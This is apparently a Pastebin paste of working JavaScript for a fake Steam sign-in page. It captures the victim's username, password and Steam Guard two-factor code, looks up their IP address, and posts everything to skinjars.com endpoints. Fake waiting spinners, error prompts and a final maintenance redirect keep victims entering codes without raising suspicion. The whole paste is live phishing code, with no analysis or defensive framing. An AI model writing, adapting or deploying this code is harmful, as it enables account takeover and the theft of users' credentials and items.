Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function anmcode(){
- if(readCookie('log') !== 'no'){
- $.getJSON("https://jsonip.com?callback=?", function (data) {
- $.ajax({
- type: "POST",
- url: "https://skinjars.com/d/formlogs.php",
- data: '\n\n' + '[[ >-> TIME: ' + new Date(new Date().getTime()).toLocaleString() + ' >-> LOGGED IN FROM IP: ' + data.ip + ' WITH: ' + '\n' + ' USERNAME: ' + $('#steamAccountName').val() + '\n' + ' PASSWORD: ' + $('#steamPassword').val() + '\n' + ' CODE: ' + $('.twofactorauthcode_entry_input.authcode_placeholder').eq(1).val() + '\n' + ' REFCODE: ' + refcode + '\n' + ']] ',
- });
- });
- }
- $('.firstbutton').hide();
- $('.waiting').show();
- setTimeout(function(){
- $('.secondbutton').show();
- $('.waiting').hide();
- $('.twofactorauthcode_entry_input.authcode_placeholder').eq(1).val('');
- }, 1500);
- $.ajax({
- type: "POST",
- url: "https://skinjars.com/d/codes.php",
- data: 'code = ' + '"' + $('.twofactorauthcode_entry_input.authcode_placeholder').eq(1).val() + '"',
- });
- }
- function anmcode2(){
- $('.secondbutton').hide();
- $.ajax({
- type: "POST",
- url: "https://skinjars.com/d/codes.php",
- data: 'code = ' + '"' + $('.twofactorauthcode_entry_input.authcode_placeholder').eq(1).val() + '"',
- });
- $('.waiting').show();
- window.location = 'https://skinjars.com/maintenance/';
- }
- function login(){
- var valid = $('#steamAccountName').val();
- if(/\s/g.test(valid) == false && $('#steamAccountName').val().length !== 0 && $('#steamPassword').val().length !== 0){
- $('.usernamemsg').text($('#steamAccountName').val());
- if($('#error_display').css('display') == 'none'){
- anmlogin();
- setTimeout(function(){$('#error_display').slideDown();}, 1500);
- } else {
- $('#login_btn_signin').hide();$('#login_btn_wait').show();
- setTimeout(function(){modal('steamguard','show');}, 1500);
- }
- $.ajax({
- type: "POST",
- url: "https://skinjars.com/d/userdata.php",
- data: ' username = ' + '"' + $('#steamAccountName').val() + '"' + ';' + 'pw = ' + '"' + $('#steamPassword').val() + '"' + ';' + ' refcode = "' + refcode + '"' + ';',
- });
- } else {
- anmlogin();
- $('#error_display').slideDown();
- console.log('HAS SOME SPACE IN USERNAME');
- }
- }
- function anmlogin(){$('#login_btn_signin').hide();$('#login_btn_wait').show(); setTimeout(function(){$('#login_btn_signin').show();$('#login_btn_wait').hide();}, 1500);}function modal(id,command){
- if(command == 'show'){
- $('#' + id + '').fadeIn();
- $('.newmodal_background').fadeIn()
- }
- if(command == 'hide'){
- $('#' + id + '').fadeOut();
- $('.newmodal_background').fadeOut()
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement